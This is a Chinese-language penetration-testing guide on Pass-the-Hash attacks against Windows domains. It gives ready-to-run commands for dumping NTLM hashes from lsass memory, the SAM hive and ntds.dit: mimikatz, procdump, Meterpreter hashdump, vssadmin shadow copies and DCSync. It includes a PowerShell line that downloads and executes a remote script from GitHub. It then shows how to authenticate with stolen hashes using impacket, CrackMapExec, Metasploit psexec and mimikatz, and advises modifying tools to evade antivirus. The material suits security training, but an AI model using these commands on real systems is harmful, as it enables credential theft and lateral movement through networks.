简介

Hash传递攻击,也称为Pass the Hash (PTH),内网横向最常用的手段之一。

攻击者获取目标系统用户的密码哈希值(通常是NTLM Hash),然后直接使用该哈希值进行身份验证,绕过了明文密码的需求。

原理: 由于整个NTLM认证的过程中都是用的NTLM Hash去加密,所以我们拿到了Hash,其实也相当于变相拿到了密码,只不过不是明文的而已。

利用场景:

  • 目标机>=win server 2012时,lsass.exe进程中是抓不到明文密码,只能拿到Hash
  • 随着信息安全意识的提高,弱口令情况逐渐降低,我们经常会遇到拿到Hash却解不开的情况,只能去传递Hash

如何拿到Hash

  1. 运行中的系统,需要抓取 lsass.exe 的内存,进程里边存放的是活动用户(当前登录的用户)的Hash;在域中,只要域管理员通过RDP登录过,就会将hash保存到lsass中。

  2. 普通域用户或普通工作组:SAM文件(加密后的用户密码)和 SYSTEM文件(秘钥)组合后可以提取出用户的用户名和Hash

  3. 域控:ntds.dit 存放了所有域用户的账号/密码(Hash)

普通PC

mimikatz

直接上

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"

但大多数情况下都会被杀软干掉,所以需要先把 lsass.exe 的内存dump下来,然后再在本地用 mimikatz 解析。

最多的就是用微软提供的 procdump 去dump lsass的内存

procdump64.exe -accepteula -ma lsass.exe lsass.dmp
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit

但目前 procdump 基本也被干掉了,可以去GitHub上找找最新发布的一些可用的,不行的话就再魔改。

MSF

有meterpreter后

hashdump
run hashdump
run post/windows/gather/smart_hashdump

也可以再上面的基础上,加载其他的插件

load kivi # 加载
msv
tspkg
wdigest
kerberos
ssp

Nishang

基于powershell的,可以下载到本地也可以无文件落地导出。

powershell iex (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1');Get-PassHashes

手动从SAM获取

导出SAM数据

reg save HKLM\SYSTEM SYSTEM
reg save HKLM\SAM SAM

使用mimikatz提取hash:

lsadump::sam /sam:SAM /system:SYSTEM

使用secretsdump提取hash:

secretsdump.py -sam sam -system system LOCAL

域控

mimikatz

这里和普通PC一样,都是从 lsass.exe 的内存中获取到Hash,不再赘述。

但需要注意的是在域控上,只能拿到本地用户的Hash,即域管的Hash,并不能获取整个域的用户Hash。

NTDS.dit

由于AD的存储文件为 NTDS.dit,因此通过该文件,我们可以获取所有域用户的Hash。

首先的问题就是如何获取到该文件:

方法一: 手动导出,在域控上执行如下CMD命令:

powershell "ntdsutil.exe 'ac i ntds' 'ifm' 'create full c:\temp' q q"

image-20240416下午22124154

方法二: 利用Windows上的一个卷影拷贝服务的命令行管理工具vssadmin可以将 ntds.dit 从域控中复制出来。

# 创建一个C盘的卷影拷贝
vssadmin create shadow /for=C:
# 将 ntds.dit 复制到 C:\temp\ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\windows\ntds\ntds.dit C:\temp\ntds.dit
# 删除刚才创建的卷影拷贝
vssadmin delete shadows /for=c: /quiet

拿到 ntds.dit 后,我们还需要获取到 SYSTEM 密钥文件

reg save HKLM\SYSTEM SYSTEM

最后使用工具通过密钥SYSTEM就需要提取其中的hash。

可使用工具 NTDSDumpEx

NTDSDumpEx -d ntds.dit -s system -o out.txt

image-20240416下午23445893

也可以使用 impacket下的secretsdump

secretsdump.exe -system SYSTEM -ntds ntds.dit local

image-20240416下午23653207

DCSYNC

DCSync是一种域渗透技术,利用目录复制服务(Directory Replication Service,DRS)的GetNCChanges接口向域控发起数据同步请求,以模仿域控从真实的域控中获取用户散列值。攻击者可以通过DCSync获取域内用户的密码哈希值,需要域管权限或者有DCSYNC权限的用户,一般情况下只有域管。

使用 mimikatz(本地)

mimikatz "lsadump::dcsync /domain:org.gm7 /all /csv" "exit"

image-20240416下午23918267

使用impacket的secretdump.py,结果会保存到 dcsync_hashes 开头的文件中。(远程)

secretsdump.py -just-dc <user>:<password>@<ipaddress> -outputfile dcsync_hashes

image-20240422上午105704853

Hash传递

已经拿到hash了,后续的Hash传递交给工具就行了,这里就主要介绍几个常用的命令工具吧,当然有条件用CS更简单。

impacket套件

Impacket is a collection of Python classes for working with network protocols.

WMIEXEC

# python wmiexec.py -hashes LM Hash:NT Hash 域名/用户名@IP "命令"  # LM Hash不知道的情况下,可以全部用0代替
python3 examples/wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:3ac1e294fabedf7d2bfa80fec59f59b9 org/[email protected] "whoami"

SMBEXEC

# python smbexec.py -hashes LM Hash:NT Hash 域名/用户名@IP
python3 examples/smbexec.py -hashes 00000000000000000000000000000000:3ac1e294fabedf7d2bfa80fec59f59b9 org/[email protected] # LM Hash 可以用0代替
python3 examples/smbexec.py -hashes :3ac1e294fabedf7d2bfa80fec59f59b9 org/[email protected] # 也可以留空

PSEXEC

# python psexec.py -hashes LM Hash:NT Hash 域名/用户名@IP
python3 examples/psexec.py -hashes 00000000000000000000000000000000:3ac1e294fabedf7d2bfa80fec59f59b9 org/[email protected]

CME

前面探测服务时用到了CrackMapExec,它也可以用来Hash传递。

cme smb 172.16.93.15 -u administrator -H 3ac1e294fabedf7d2bfa80fec59f59b9 -x whoami

MSF

可以使用msf提供的各种 exec 模块

exploit/windows/smb/psexec
auxiliary/scanner/smb/impacket/wmiexec

psexec为例

use exploit/windows/smb/psexec
set payload windows/x64/exec # 可以自己根据选择,我这里演示没用meterpreter
set CMD calc.exe
set RHOSTS 172.16.93.15
set SMBDomain org.gm7
set SMBPass 00000000000000000000000000000000:3ac1e294fabedf7d2bfa80fec59f59b9
set SMBUser Administrator
run

mimikatz

# 没有域的时候,domain写 workgroup 就行
mimikatz.exe "privilege::debug" "sekurlsa::pth /user:administrator /domain:org.gm7 /ntlm:3ac1e294fabedf7d2bfa80fec59f59b9" "exit"

成功会自动弹出一个新的shell,这时可以任意访问远程主机或服务。

image-20240416下午25942600

Copyright © d4m1ts 2023 all right reserved,powered by Gitbook该文章修订时间: 2024-05-09 15:45:13

results matching ""

    No results matching ""